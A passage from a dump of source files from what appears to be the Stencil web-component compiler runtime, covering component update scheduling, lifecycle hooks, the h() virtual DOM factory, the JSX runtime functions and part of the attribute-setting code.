hostRef.$flags$ |= HOST_FLAGS.needsRerender;\n    return;\n  }\n  attachToAncestor(hostRef, hostRef.$ancestorComponent$);\n\n  // there is no ancestor component or the ancestor component\n  // has already fired off its lifecycle update then\n  // fire off the initial update\n  const dispatch = () => dispatchHooks(hostRef, isInitialLoad);\n\n  if (isInitialLoad) {\n    queueMicrotask(() => {\n      dispatch();\n    });\n    return;\n  }\n\n  return BUILD.taskQueue ? writeTask(dispatch) : dispatch();\n};\n\n/**\n * Dispatch initial-render and update lifecycle hooks, enqueuing calls to\n * component lifecycle methods like `componentWillLoad` as well as\n * {@link updateComponent}, which will kick off the virtual DOM re-render.\n *\n * @param hostRef a reference to a host DOM node\n * @param isInitialLoad whether we're on the initial load or not\n * @returns an empty Promise which is used to enqueue a series of operations for\n * the component\n */\nconst dispatchHooks = (hostRef: d.HostRef, isInitialLoad: boolean): Promise<void> => {\n  const elm = hostRef.$hostElement$;\n  const endSchedule = createTime('scheduleUpdate', hostRef.$cmpMeta$.$tagName$);\n  const instance = BUILD.lazyLoad ? hostRef.$lazyInstance$ : elm;\n\n  /**\n   * Given a user imports a component compiled with a `dist-custom-element`\n   * output target into a Stencil project compiled with a `dist` output target,\n   * then `instance` will be `undefined` as `hostRef` won't have a `lazyInstance`\n   * property. In this case, the component will fail to render in one of the\n   * subsequent functions.\n   *\n   * For this scenario to work the user needs to set the `externalRuntime` flag\n   * for the `dist-custom-element` component that is being imported into the `dist`\n   * Stencil project.\n   */\n  if (!instance) {\n    throw new Error(\n      `Can't render component <${elm.tagName.toLowerCase()} /> with invalid Stencil runtime! ` +\n        'Make sure this imported component is compiled with a `externalRuntime: true` flag. ' +\n        'For more information, please refer to https://stenciljs.com/docs/custom-elements#externalruntime',\n    );\n  }\n\n  // We're going to use this variable together with `enqueue` to implement a\n  // little promise-based queue. We start out with it `undefined`. When we add\n  // the first function to the queue we'll set this variable to be that\n  // function's return value. When we attempt to add subsequent values to the\n  // queue we'll check that value and, if it was a `Promise`, we'll then chain\n  // the new function off of that `Promise` using `.then()`. This will give our\n  // queue two nice properties:\n  //\n  // 1. If all functions added to the queue are synchronous they'll be called\n  //    synchronously right away.\n  // 2. If all functions added to the queue are asynchronous they'll all be\n  //    called in order after `dispatchHooks` exits.\n  let maybePromise: Promise<void> | undefined;\n\n  if (isInitialLoad) {\n    if (BUILD.lazyLoad) {\n      // Fire deferred connectedCallback before componentWillLoad\n      if (BUILD.slotRelocation && hostRef.$deferredConnectedCallback$) {\n        hostRef.$deferredConnectedCallback$ = false;\n        safeCall(instance, 'connectedCallback', undefined, elm);\n      }\n\n      if (BUILD.hostListener) {\n        hostRef.$flags$ |= HOST_FLAGS.isListenReady;\n        if (hostRef.$queuedListeners$) {\n          hostRef.$queuedListeners$.map(([methodName, event]) => safeCall(instance, methodName, event, elm));\n          hostRef.$queuedListeners$ = undefined;\n        }\n      }\n\n      // Fire any pending fetch callbacks\n      if (hostRef.$fetchedCbList$.length) {\n        hostRef.$fetchedCbList$.forEach((cb) => cb(elm));\n      }\n    }\n    emitLifecycleEvent(elm, 'componentWillLoad');\n    // If `componentWillLoad` returns a `Promise` then we want to wait on\n    // whatever's going on in that `Promise` before we launch into\n    // rendering the component, doing other lifecycle stuff, etc. So\n    // in that case we assign the returned promise to the variable we\n    // declared above to hold a possible 'queueing' Promise\n    maybePromise = safeCall(instance, 'componentWillLoad', undefined, elm);\n  } else {\n    emitLifecycleEvent(elm, 'componentWillUpdate');\n\n    // Like `componentWillLoad` above, we allow Stencil component\n    // authors to return a `Promise` from this lifecycle callback, and\n    // we specify that our runtime will wait for that `Promise` to\n    // resolve before the component re-renders. So if the method\n    // returns a `Promise` we need to keep it around!\n    maybePromise = safeCall(instance, 'componentWillUpdate', undefined, elm);\n  }\n\n  emitLifecycleEvent(elm, 'componentWillRender');\n  maybePromise = enqueue(maybePromise, () => safeCall(instance, 'componentWillRender', undefined, elm));\n\n  endSchedule();\n\n  return enqueue(maybePromise, () => updateComponent(hostRef, instance, isInitialLoad));\n};\n\n/**\n * This function uses a Promise to implement a simple first-in, first-out queue\n * of functions to be called.\n *\n * The queue is ordered on the basis of the first argument. If it's\n * `undefined`, then nothing is on the queue yet, so the provided function can\n * be called synchronously (although note that this function may return a\n * `Promise`). The idea is that then the return value of that enqueueing\n * operation is kept around, so that if it was a `Promise` then subsequent\n * functions can be enqueued by calling this function again with that `Promise`\n * as the first argument.\n *\n * @param maybePromise either a `Promise` which should resolve before the next function is called or an 'empty' sentinel\n * @param fn a function to enqueue\n * @returns either a `Promise` or the return value of the provided function\n */\nconst enqueue = (maybePromise: Promise<void> | undefined, fn: () => Promise<void>): Promise<void> | undefined =>\n  isPromisey(maybePromise)\n    ? maybePromise.then(fn).catch((err) => {\n        console.error(err);\n        fn();\n      })\n    : fn();\n\n/**\n * Check that a value is a `Promise`. To check, we first see if the value is an\n * instance of the `Promise` global. In a few circumstances, in particular if\n * the global has been overwritten, this is could be misleading, so we also do\n * a little 'duck typing' check to see if the `.then` property of the value is\n * defined and a function.\n *\n * @param maybePromise it might be a promise!\n * @returns whether it is or not\n */\nconst isPromisey = (maybePromise: Promise<void> | unknown): maybePromise is Promise<void> =>\n  maybePromise instanceof Promise ||\n  (maybePromise && (maybePromise as any).then && typeof (maybePromise as Promise<void>).then === 'function');\n\n/**\n * Update a component given reference to its host elements and so on.\n *\n * @param hostRef an object containing references to the element's host node,\n * VDom nodes, and other metadata\n * @param instance a reference to the underlying host element where it will be\n * rendered\n * @param isInitialLoad whether or not this function is being called as part of\n * the first render cycle\n */\nconst updateComponent = async (\n  hostRef: d.HostRef,\n  instance: d.HostElement | d.ComponentInterface,\n  isInitialLoad: boolean,\n) => {\n  const elm = hostRef.$hostElement$ as d.RenderNode;\n  const endUpdate = createTime('update', hostRef.$cmpMeta$.$tagName$);\n  const rc = elm['s-rc'];\n  if (BUILD.style && isInitialLoad) {\n    // DOM WRITE!\n    attachStyles(hostRef);\n  }\n\n  const endRender = createTime('render', hostRef.$cmpMeta$.$tagName$);\n  if (BUILD.isDev) {\n    hostRef.$flags$ |= HOST_FLAGS.devOnRender;\n  }\n\n  if (BUILD.hydrateServerSide) {\n    await callRender(hostRef, instance, elm, isInitialLoad);\n  } else {\n    callRender(hostRef, instance, elm, isInitialLoad);\n  }\n\n  if (BUILD.isDev) {\n    hostRef.$renderCount$ = hostRef.$renderCount$ === undefined ? 1 : hostRef.$renderCount$ + 1;\n    hostRef.$flags$ &= ~HOST_FLAGS.devOnRender;\n  }\n\n  if (BUILD.hydrateServerSide) {\n    try {\n      // manually connected child components during server-side hydrate\n      serverSideConnected(elm);\n\n      if (isInitialLoad) {\n        // using only during server-side hydrate\n        if (hostRef.$cmpMeta$.$flags$ & CMP_FLAGS.shadowDomEncapsulation) {\n          elm['s-en'] = '';\n        } else if (hostRef.$cmpMeta$.$flags$ & CMP_FLAGS.scopedCssEncapsulation) {\n          elm['s-en'] = 'c';\n        }\n      }\n    } catch (e) {\n      consoleError(e, elm);\n    }\n  }\n\n  if (BUILD.asyncLoading && rc) {\n    // ok, so turns out there are some child host elements\n    // waiting on this parent element to load\n    // let's fire off all update callbacks waiting\n    rc.map((cb) => cb());\n    elm['s-rc'] = undefined;\n  }\n\n  endRender();\n  endUpdate();\n\n  if (BUILD.asyncLoading) {\n    const childrenPromises = elm['s-p'] ?? [];\n    const postUpdate = () => postUpdateComponent(hostRef);\n    if (childrenPromises.length === 0) {\n      postUpdate();\n    } else {\n      Promise.all(childrenPromises).then(postUpdate).catch(postUpdate);\n      hostRef.$flags$ |= HOST_FLAGS.isWaitingForChildren;\n      childrenPromises.length = 0;\n    }\n  } else {\n    postUpdateComponent(hostRef);\n  }\n};\n\nlet renderingRef: any = null;\n\n/**\n * Handle making the call to the VDom renderer with the proper context given\n * various build variables\n *\n * @param hostRef an object containing references to the element's host node,\n * VDom nodes, and other metadata\n * @param instance a reference to the underlying host element where it will be\n * rendered\n * @param elm the Host element for the component\n * @param isInitialLoad whether or not this function is being called as part of\n * @returns an empty promise\n */\nconst callRender = (hostRef: d.HostRef, instance: any, elm: HTMLElement, isInitialLoad: boolean) => {\n  // in order for bundlers to correctly tree-shake the BUILD object\n  // we need to ensure BUILD is not deoptimized within a try/catch\n  // https://rollupjs.org/guide/en/#treeshake tryCatchDeoptimization\n  const allRenderFn = BUILD.allRenderFn ? true : false;\n  const lazyLoad = BUILD.lazyLoad ? true : false;\n  const taskQueue = BUILD.taskQueue ? true : false;\n  const updatable = BUILD.updatable ? true : false;\n\n  try {\n    renderingRef = instance;\n    /**\n     * minification optimization: `allRenderFn` is `true` if all components have a `render`\n     * method, so we can call the method immediately. If not, check before calling it.\n     */\n    instance = allRenderFn ? instance.render() : instance.render && instance.render();\n\n    if (updatable && taskQueue) {\n      hostRef.$flags$ &= ~HOST_FLAGS.isQueuedForUpdate;\n    }\n\n    if (updatable || lazyLoad) {\n      hostRef.$flags$ |= HOST_FLAGS.hasRendered;\n    }\n    if (BUILD.hasRenderFn || BUILD.reflect) {\n      if (BUILD.vdomRender || BUILD.reflect) {\n        // looks like we've got child nodes to render into this host element\n        // or we need to update the css class/attrs on the host element\n        // DOM WRITE!\n        if (BUILD.hydrateServerSide) {\n          return Promise.resolve(instance).then((value) => renderVdom(hostRef, value, isInitialLoad));\n        } else {\n          renderVdom(hostRef, instance, isInitialLoad);\n        }\n      } else {\n        const shadowRoot = elm.shadowRoot;\n        if (hostRef.$cmpMeta$.$flags$ & CMP_FLAGS.shadowDomEncapsulation) {\n          shadowRoot.textContent = instance;\n        } else {\n          elm.textContent = instance;\n        }\n      }\n    }\n  } catch (e) {\n    consoleError(e, hostRef.$hostElement$);\n  }\n  renderingRef = null;\n  return null;\n};\n\nexport const getRenderingRef = () => renderingRef;\n\nexport const postUpdateComponent = (hostRef: d.HostRef) => {\n  const tagName = hostRef.$cmpMeta$.$tagName$;\n  const elm = hostRef.$hostElement$;\n  const endPostUpdate = createTime('postUpdate', tagName);\n  const instance = BUILD.lazyLoad ? hostRef.$lazyInstance$ : (elm as any);\n  const ancestorComponent = hostRef.$ancestorComponent$;\n\n  if (BUILD.isDev) {\n    hostRef.$flags$ |= HOST_FLAGS.devOnRender;\n  }\n  safeCall(instance, 'componentDidRender', undefined, elm);\n  if (BUILD.isDev) {\n    hostRef.$flags$ &= ~HOST_FLAGS.devOnRender;\n  }\n  emitLifecycleEvent(elm, 'componentDidRender');\n\n  if (!(hostRef.$flags$ & HOST_FLAGS.hasLoadedComponent)) {\n    hostRef.$flags$ |= HOST_FLAGS.hasLoadedComponent;\n\n    if (BUILD.asyncLoading && BUILD.cssAnnotations) {\n      // DOM WRITE!\n      addHydratedFlag(elm);\n    }\n\n    if (BUILD.isDev) {\n      hostRef.$flags$ |= HOST_FLAGS.devOnDidLoad;\n    }\n    safeCall(instance, 'componentDidLoad', undefined, elm);\n    if (BUILD.isDev) {\n      hostRef.$flags$ &= ~HOST_FLAGS.devOnDidLoad;\n    }\n\n    emitLifecycleEvent(elm, 'componentDidLoad');\n    endPostUpdate();\n\n    if (BUILD.asyncLoading) {\n      hostRef.$onReadyResolve$(elm);\n      if (!ancestorComponent) {\n        appDidLoad(tagName);\n      }\n    }\n  } else {\n    // we've already loaded this component\n    // fire off the user's componentDidUpdate method (if one was provided)\n    // componentDidUpdate runs AFTER render() has been called\n    // and all child components have finished updating\n    if (BUILD.isDev) {\n      hostRef.$flags$ |= HOST_FLAGS.devOnRender;\n    }\n    safeCall(instance, 'componentDidUpdate', undefined, elm);\n    if (BUILD.isDev) {\n      hostRef.$flags$ &= ~HOST_FLAGS.devOnRender;\n    }\n    emitLifecycleEvent(elm, 'componentDidUpdate');\n    endPostUpdate();\n  }\n\n  if (BUILD.method && BUILD.lazyLoad) {\n    hostRef.$onInstanceResolve$(elm);\n  }\n  // load events fire from bottom to top\n  // the deepest elements load first then bubbles up\n  if (BUILD.asyncLoading) {\n    if (hostRef.$onRenderResolve$) {\n      hostRef.$onRenderResolve$();\n      hostRef.$onRenderResolve$ = undefined;\n    }\n    if (hostRef.$flags$ & HOST_FLAGS.needsRerender) {\n      nextTick(() => scheduleUpdate(hostRef, false));\n    }\n    hostRef.$flags$ &= ~(HOST_FLAGS.isWaitingForChildren | HOST_FLAGS.needsRerender);\n  }\n  // ( •_•)\n  // ( •_•)>⌐■-■\n  // (⌐■_■)\n};\n\nexport const forceUpdate = (ref: any) => {\n  if (BUILD.updatable && (Build.isBrowser || Build.isTesting)) {\n    const hostRef = getHostRef(ref);\n    const isConnected = hostRef?.$hostElement$?.isConnected;\n    if (\n      isConnected &&\n      (hostRef.$flags$ & (HOST_FLAGS.hasRendered | HOST_FLAGS.isQueuedForUpdate)) === HOST_FLAGS.hasRendered\n    ) {\n      scheduleUpdate(hostRef, false);\n    }\n    // Returns \"true\" when the forced update was successfully scheduled\n    return isConnected;\n  }\n  return false;\n};\n\nexport const appDidLoad = (who: string) => {\n  if (BUILD.asyncQueue) {\n    plt.$flags$ |= PLATFORM_FLAGS.appLoaded;\n  }\n  nextTick(() => emitEvent(win, 'appload', { detail: { namespace: NAMESPACE } }));\n  if (BUILD.hydrateClientSide) {\n    // we can now clear out the original location map\n    // used by SSR so as to not cause memory leaks\n    if (plt.$orgLocNodes$?.size) {\n      plt.$orgLocNodes$.clear();\n    }\n  }\n\n  if (BUILD.profile && performance.measure) {\n    performance.measure(`[Stencil] ${NAMESPACE} initial load (by ${who})`, 'st:app:start');\n  }\n};\n\n/**\n * Allows to safely call a method, e.g. `componentDidLoad`, on an instance,\n * e.g. custom element node. If a build figures out that e.g. no component\n * has a `componentDidLoad` method, the instance method gets removed from the\n * output bundle and this function returns `undefined`.\n * @param instance any object that may or may not contain methods\n * @param method method name\n * @param arg single arbitrary argument\n * @param elm the element which made the call\n * @returns result of method call if it exists, otherwise `undefined`\n */\nexport const safeCall = (instance: any, method: string, arg?: any, elm?: HTMLElement) => {\n  if (instance && instance[method]) {\n    try {\n      return instance[method](arg);\n    } catch (e) {\n      consoleError(e, elm);\n    }\n  }\n  return undefined;\n};\n\n/**\n * For debugging purposes as `BUILD.lifecycleDOMEvents` is `false` by default and will\n * get removed by the compiler. Used for timing events to see how long they take.\n * @param elm the target of the Event\n * @param lifecycleName name of the event\n */\nconst emitLifecycleEvent = (elm: EventTarget, lifecycleName: string) => {\n  if (BUILD.lifecycleDOMEvents) {\n    emitEvent(elm, 'stencil_' + lifecycleName, {\n      bubbles: true,\n      composed: true,\n      detail: {\n        namespace: NAMESPACE,\n      },\n    });\n  }\n};\n\n/**\n * Set the hydrated flag on a DOM element\n *\n * @param elm a reference to a DOM element\n * @returns undefined\n */\nconst addHydratedFlag = (elm: Element) =>\n  BUILD.hydratedClass\n    ? elm.classList.add(BUILD.hydratedSelectorName ?? 'hydrated')\n    : BUILD.hydratedAttribute\n      ? elm.setAttribute(BUILD.hydratedSelectorName ?? 'hydrated', '')\n      : undefined;\n\nconst serverSideConnected = (elm: any) => {\n  const children = elm.children;\n  if (children != null) {\n    for (let i = 0, ii = children.length; i < ii; i++) {\n      const childElm = children[i] as any;\n      if (typeof childElm.connectedCallback === 'function') {\n        childElm.connectedCallback();\n      }\n      serverSideConnected(childElm);\n    }\n  }\n};\n"
  },
  {
    "path": "src/runtime/vdom/h.ts",
    "content": "/**\n * Production h() function based on Preact by\n * Jason Miller (@developit)\n * Licensed under the MIT License\n * https://github.com/developit/preact/blob/master/LICENSE\n *\n * Modified for Stencil's compiler and vdom\n */\n\nimport { BUILD } from '@app-data';\nimport { consoleDevError, consoleDevWarn, transformTag } from '@platform';\nimport { isComplexType } from '../../utils/helpers';\n\nimport type * as d from '../../declarations';\n\n// export function h(nodeName: string | d.FunctionalComponent, vnodeData: d.PropsType, child?: d.ChildType): d.VNode;\n// export function h(nodeName: string | d.FunctionalComponent, vnodeData: d.PropsType, ...children: d.ChildType[]): d.VNode;\nexport const h = (nodeName: any, vnodeData: any, ...children: d.ChildType[]): d.VNode => {\n  if (typeof nodeName === 'string') {\n    nodeName = transformTag(nodeName);\n  }\n  let child = null;\n  let key: string = null;\n  let slotName: string = null;\n  let simple = false;\n  let lastSimple = false;\n  const vNodeChildren: d.VNode[] = [];\n  const walk = (c: any[]) => {\n    for (let i = 0; i < c.length; i++) {\n      child = c[i];\n      if (Array.isArray(child)) {\n        walk(child);\n      } else if (child != null && typeof child !== 'boolean') {\n        if ((simple = typeof nodeName !== 'function' && !isComplexType(child))) {\n          child = String(child);\n        } else if (BUILD.isDev && typeof nodeName !== 'function' && child.$flags$ === undefined) {\n          consoleDevError(`vNode passed as children has unexpected type.\nMake sure it's using the correct h() function.\nEmpty objects can also be the cause, look for JSX comments that became objects.`);\n        }\n\n        if (simple && lastSimple) {\n          // If the previous child was simple (string), we merge both\n          vNodeChildren[vNodeChildren.length - 1].$text$ += child;\n        } else {\n          // Append a new vNode, if it's text, we create a text vNode\n          vNodeChildren.push(simple ? newVNode(null, child) : child);\n        }\n        lastSimple = simple;\n      }\n    }\n  };\n  walk(children);\n  if (vnodeData) {\n    if (BUILD.isDev && nodeName === 'input') {\n      validateInputProperties(vnodeData);\n    }\n    if (BUILD.vdomKey && vnodeData.key) {\n      key = vnodeData.key;\n    }\n    if (BUILD.slotRelocation && vnodeData.name) {\n      slotName = vnodeData.name;\n    }\n    // normalize class / className attributes\n    if (BUILD.vdomClass) {\n      const classData = vnodeData.className || vnodeData.class;\n      if (classData) {\n        vnodeData.class =\n          typeof classData !== 'object'\n            ? classData\n            : Object.keys(classData)\n                .filter((k) => classData[k])\n                .join(' ');\n      }\n    }\n  }\n\n  if (BUILD.isDev && vNodeChildren.some(isHost)) {\n    consoleDevError(`The <Host> must be the single root component. Make sure:\n- You are NOT using hostData() and <Host> in the same component.\n- <Host> is used once, and it's the single root component of the render() function.`);\n  }\n\n  if (BUILD.vdomFunctional && typeof nodeName === 'function') {\n    // nodeName is a functional component\n    return (nodeName as d.FunctionalComponent<any>)(\n      vnodeData === null ? {} : vnodeData,\n      vNodeChildren,\n      vdomFnUtils,\n    ) as any;\n  }\n\n  const vnode = newVNode(nodeName, null);\n  vnode.$attrs$ = vnodeData;\n  if (vNodeChildren.length > 0) {\n    vnode.$children$ = vNodeChildren;\n  }\n  if (BUILD.vdomKey) {\n    vnode.$key$ = key;\n  }\n  if (BUILD.slotRelocation) {\n    vnode.$name$ = slotName;\n  }\n  return vnode;\n};\n\n/**\n * A utility function for creating a virtual DOM node from a tag and some\n * possible text content.\n *\n * @param tag the tag for this element\n * @param text possible text content for the node\n * @returns a newly-minted virtual DOM node\n */\nexport const newVNode = (tag: string, text: string) => {\n  const vnode: d.VNode = {\n    $flags$: 0,\n    $tag$: tag,\n    // Normalize undefined to null to prevent rendering \"undefined\" as text\n    $text$: text ?? null,\n    $elm$: null,\n    $children$: null,\n  };\n  if (BUILD.vdomAttribute) {\n    vnode.$attrs$ = null;\n  }\n  if (BUILD.vdomKey) {\n    vnode.$key$ = null;\n  }\n  if (BUILD.slotRelocation) {\n    vnode.$name$ = null;\n  }\n  return vnode;\n};\n\nexport const Host = {};\n\n/**\n * Check whether a given node is a Host node or not\n *\n * @param node the virtual DOM node to check\n * @returns whether it's a Host node or not\n */\nexport const isHost = (node: any): node is d.VNode => node && node.$tag$ === Host;\n\n/**\n * Implementation of {@link d.FunctionalUtilities} for Stencil's VDom.\n *\n * Note that these functions convert from {@link d.VNode} to\n * {@link d.ChildNode} to give functional component developers a friendly\n * interface.\n */\nconst vdomFnUtils: d.FunctionalUtilities = {\n  forEach: (children, cb) => children.map(convertToPublic).forEach(cb),\n  map: (children, cb) => children.map(convertToPublic).map(cb).map(convertToPrivate),\n};\n\n/**\n * Convert a {@link d.VNode} to a {@link d.ChildNode} in order to present a\n * friendlier public interface (hence, 'convertToPublic').\n *\n * @param node the virtual DOM node to convert\n * @returns a converted child node\n */\nconst convertToPublic = (node: d.VNode): d.ChildNode => ({\n  vattrs: node.$attrs$,\n  vchildren: node.$children$,\n  vkey: node.$key$,\n  vname: node.$name$,\n  vtag: node.$tag$,\n  vtext: node.$text$,\n});\n\n/**\n * Convert a {@link d.ChildNode} back to an equivalent {@link d.VNode} in\n * order to use the resulting object in the virtual DOM. The initial object was\n * likely created as part of presenting a public API, so converting it back\n * involved making it 'private' again (hence, `convertToPrivate`).\n *\n * @param node the child node to convert\n * @returns a converted virtual DOM node\n */\nconst convertToPrivate = (node: d.ChildNode): d.VNode => {\n  if (typeof node.vtag === 'function') {\n    const vnodeData = { ...node.vattrs };\n\n    if (node.vkey) {\n      vnodeData.key = node.vkey;\n    }\n\n    if (node.vname) {\n      vnodeData.name = node.vname;\n    }\n\n    return h(node.vtag, vnodeData, ...(node.vchildren || []));\n  }\n\n  const vnode = newVNode(node.vtag as any, node.vtext);\n  vnode.$attrs$ = node.vattrs;\n  vnode.$children$ = node.vchildren;\n  vnode.$key$ = node.vkey;\n  vnode.$name$ = node.vname;\n  return vnode;\n};\n\n/**\n * Validates the ordering of attributes on an input element\n *\n * @param inputElm the element to validate\n */\nconst validateInputProperties = (inputElm: HTMLInputElement): void => {\n  const props = Object.keys(inputElm);\n\n  const value = props.indexOf('value');\n  if (value === -1) {\n    return;\n  }\n\n  const typeIndex = props.indexOf('type');\n  const minIndex = props.indexOf('min');\n  const maxIndex = props.indexOf('max');\n  const stepIndex = props.indexOf('step');\n  if (value < typeIndex || value < minIndex || value < maxIndex || value < stepIndex) {\n    consoleDevWarn(`The \"value\" prop of <input> should be set after \"min\", \"max\", \"type\" and \"step\"`);\n  }\n};\n"
  },
  {
    "path": "src/runtime/vdom/jsx-dev-runtime.ts",
    "content": "/**\n * Automatic JSX Development Runtime for Stencil\n *\n * This module provides the automatic JSX runtime functions required by\n * TypeScript when using \"jsx\": \"react-jsxdev\" mode. This is used during\n * development and includes additional debugging information.\n *\n * For more information, see:\n * https://www.typescriptlang.org/docs/handbook/jsx.html\n */\n\nimport { h } from './h';\n\nexport { Fragment } from '../fragment';\n\n/**\n * JSX development runtime function for creating elements with debug info.\n * Called by TypeScript's jsx transform in development mode.\n *\n * @param type - The element type (string tag name or functional component)\n * @param props - The element props (includes children, key, etc.)\n * @param key - The element's key (passed separately in dev mode)\n * @param isStaticChildren - Whether children are static (optimization hint)\n * @param source - Source location information for debugging\n * @param self - The component instance (for debugging)\n * @returns A virtual DOM node\n */\nexport function jsxDEV(\n  type: any,\n  props: any,\n  key?: string | number,\n  _isStaticChildren?: boolean,\n  _source?: any,\n  _self?: any,\n) {\n  const propsObj = props || {};\n  const { children, ...rest } = propsObj;\n\n  // Build vnodeData - key from props takes precedence over parameter\n  let vnodeData = rest;\n  if (key !== undefined && !('key' in rest)) {\n    vnodeData = { ...rest, key };\n  }\n\n  // If vnodeData is empty object, use null instead (matches old transform)\n  if (vnodeData && Object.keys(vnodeData).length === 0) {\n    vnodeData = null;\n  }\n\n  // Note: source and self are debug info we could potentially use in the future\n  // for better developer experience, but for now we ignore them\n\n  if (children !== undefined) {\n    // If children is already an array, spread it\n    if (Array.isArray(children)) {\n      return h(type, vnodeData, ...children);\n    }\n    // If single child is a VNode (has $flags$), pass it directly\n    // Otherwise it gets stringified\n    if (typeof children === 'object' && children !== null && '$flags$' in children) {\n      return h(type, vnodeData, children);\n    }\n    // For primitive values (strings, numbers), pass directly\n    return h(type, vnodeData, children);\n  }\n\n  return h(type, vnodeData);\n}\n"
  },
  {
    "path": "src/runtime/vdom/jsx-runtime.ts",
    "content": "/**\n * Automatic JSX Runtime for Stencil\n *\n * This module provides the automatic JSX runtime functions required by\n * TypeScript when using \"jsx\": \"react-jsx\" mode. This allows developers\n * to write JSX without explicitly importing the `h` function.\n *\n * For more information, see:\n * https://www.typescriptlang.org/docs/handbook/jsx.html\n */\n\nimport { h } from './h';\n\nexport { Fragment } from '../fragment';\n\n/**\n * JSX runtime function for creating elements in production mode.\n * Called by TypeScript's jsx transform for elements without static children.\n *\n * @param type - The element type (string tag name or functional component)\n * @param props - The element props (includes children)\n * @param key - Optional key for the element\n * @returns A virtual DOM node\n */\nexport function jsx(type: any, props: any, key?: string) {\n  const propsObj = props || {};\n  const { children, ...rest } = propsObj;\n  // Build vnodeData - key from props takes precedence over parameter\n  let vnodeData = rest;\n  if (key !== undefined && !('key' in rest)) {\n    vnodeData = { ...rest, key };\n  }\n\n  // If vnodeData is empty object, use null instead (matches old transform)\n  if (vnodeData && Object.keys(vnodeData).length === 0) {\n    vnodeData = null;\n  }\n\n  if (children !== undefined) {\n    // If children is already an array, spread it\n    if (Array.isArray(children)) {\n      return h(type, vnodeData, ...children);\n    }\n    // If single child is a VNode (has $flags$), pass it directly\n    // Otherwise it gets stringified\n    if (typeof children === 'object' && children !== null && '$flags$' in children) {\n      return h(type, vnodeData, children);\n    }\n    // For primitive values (strings, numbers), pass directly\n    return h(type, vnodeData, children);\n  }\n\n  return h(type, vnodeData);\n}\n\n/**\n * JSX runtime function for creating elements with static children.\n * Called by TypeScript's jsx transform as an optimization when children are static.\n *\n * @param type - The element type (string tag name or functional component)\n * @param props - The element props (includes children)\n * @param key - Optional key for the element\n * @returns A virtual DOM node\n */\nexport function jsxs(type: any, props: any, key?: string) {\n  return jsx(type, props, key);\n}\n"
  },
  {
    "path": "src/runtime/vdom/set-accessor.ts",
    "content": "/**\n * Production setAccessor() function based on Preact by\n * Jason Miller (@developit)\n * Licensed under the MIT License\n * https://github.com/developit/preact/blob/master/LICENSE\n *\n * Modified for Stencil's compiler and vdom\n */\n\nimport { BUILD } from '@app-data';\nimport { getHostRef, isMemberInElement, plt, win } from '@platform';\nimport { isComplexType } from '../../utils/helpers';\n\nimport type * as d from '../../declarations';\nimport { NODE_TYPE, VNODE_FLAGS, XLINK_NS } from '../runtime-constants';\nimport { queueRefAttachment } from './vdom-render';\n\n/**\n * When running a VDom render set properties present on a VDom node onto the\n * corresponding HTML element.\n *\n * Note that this function has special functionality for the `class`,\n * `style`, `key`, and `ref` attributes, as well as event handlers (like\n * `onClick`, etc). All others are just passed through as-is.\n *\n * @param elm the HTMLElement onto which attributes should be set\n * @param memberName the name of the attribute to set\n * @param oldValue the old value for the attribute\n * @param newValue the new value for the attribute\n * @param isSvg whether we're in an svg context or not\n * @param flags bitflags for Vdom variables\n * @param initialRender whether this is the first render of the VDom\n */\nexport const setAccessor = (\n  elm: d.RenderNode,\n  memberName: string,\n  oldValue: any,\n  newValue: any,\n  isSvg: boolean,\n  flags: number,\n  initialRender?: boolean,\n) => {\n  if (oldValue === newValue) {\n    return;\n  }\n\n  let isProp = isMemberInElement(elm, memberName);\n  let ln = memberName.toLowerCase();\n  if (BUILD.vdomClass && memberName === 'class') {\n    const classList = elm.classList;\n    const oldClasses = parseClassList(oldValue);\n    let newClasses = parseClassList(newValue);\n\n    if (BUILD.hydrateClientSide && (elm['s-si'] || elm['s-sc']) && initialRender) {\n      // for `scoped: true` components, new nodes after initial hydration\n      // from SSR don't have the slotted class added. Let's add that now\n      const scopeId = elm['s-sc'] || elm['s-si'];\n      newClasses.push(scopeId);\n      oldClasses.forEach((c) => {\n        if (c.startsWith(scopeId)) newClasses.push(c);\n      });\n      newClasses = [...new Set(newClasses)].filter((c) => c);\n      classList.add(...newClasses);\n    } else {\n      classList.remove(...oldClasses.filter((c) => c && !newClasses.includes(c)));\n      classList.add(...newClasses.filter((c) => c && !oldClasses.includes(c)));\n    }\n  } else if (BUILD.vdomStyle && memberName === 'style') {\n    // update style attribute, css properties and values\n    if (BUILD.updatable) {\n      for (const prop in oldValue) {\n        if (!newValue || newValue[prop] == null) {\n          if (!BUILD.hydrateServerSide && prop.includes('-')) {\n            elm.style.removeProperty(prop);\n          } else {\n            (elm as any).style[prop] = '';\n          }\n        }\n      }\n    }\n\n    for (const prop in newValue) {\n      if (!oldValue || newValue[prop] !== oldValue[prop]) {\n        if (!BUILD.hydrateServerSide && prop.includes('-')) {\n          elm.style.setProperty(prop, newValue[prop]);\n        } else {\n          (elm as any).style[prop] = newValue[prop];\n        }\n      }\n    }\n  } else if (BUILD.vdomKey && memberName === 'key') {\n    // minifier will clean this up\n  } else if (BUILD.vdomRef && memberName === 'ref') {\n    // minifier will clean this up\n    if (newValue) {\n      queueRefAttachment(newValue, elm);\n    }\n  } else if (\n    BUILD.vdomListener &&\n    (BUILD.lazyLoad ? !isProp : !(elm as any).__lookupSetter__(memberName)) &&\n    memberName[0] === 'o' &&\n    memberName[1] === 'n'\n  ) {\n    // Event Handlers\n    // so if the member name starts with \"on\" and the 3rd characters is\n    // a capital letter, and it's not already a member on the element,\n    // then we're assuming it's an event listener\n    if (memberName[2] === '-') {\n      // on- prefixed events\n      // allows to be explicit about the dom event to listen without any magic\n      // under the hood:\n      // <my-cmp on-click> // listens for \"click\"\n      // <my-cmp on-Click> // listens for \"Click\"\n      // <my-cmp on-ionChange> // listens for \"ionChange\"\n      // <my-cmp on-EVENTS> // listens for \"EVENTS\"\n      memberName = memberName.slice(3);\n    } else if (isMemberInElement(win, ln)) {\n      // standard event\n      // the JSX attribute could have been \"onMouseOver\" and the\n      // member name \"onmouseover\" is on the window's prototype\n      // so let's add the listener \"mouseover\", which is all lowercased\n      memberName = ln.slice(2);\n    } else {\n      // custom event\n      // the JSX attribute could have been \"onMyCustomEvent\"\n      // so let's trim off the \"on\" prefix and lowercase the first character\n      // and add the listener \"myCustomEvent\"\n      // except for the first character, we keep the event name case\n      memberName = ln[2] + memberName.slice(3);\n    }\n    if (oldValue || newValue) {\n      // Need to account for \"capture\" events.\n      // If the event name ends with \"Capture\", we'll update the name to remove\n      // the \"Capture\" suffix and make sure the event listener is setup to handle the capture event.\n      const capture = memberName.endsWith(CAPTURE_EVENT_SUFFIX);\n      // Make sure we only replace the last 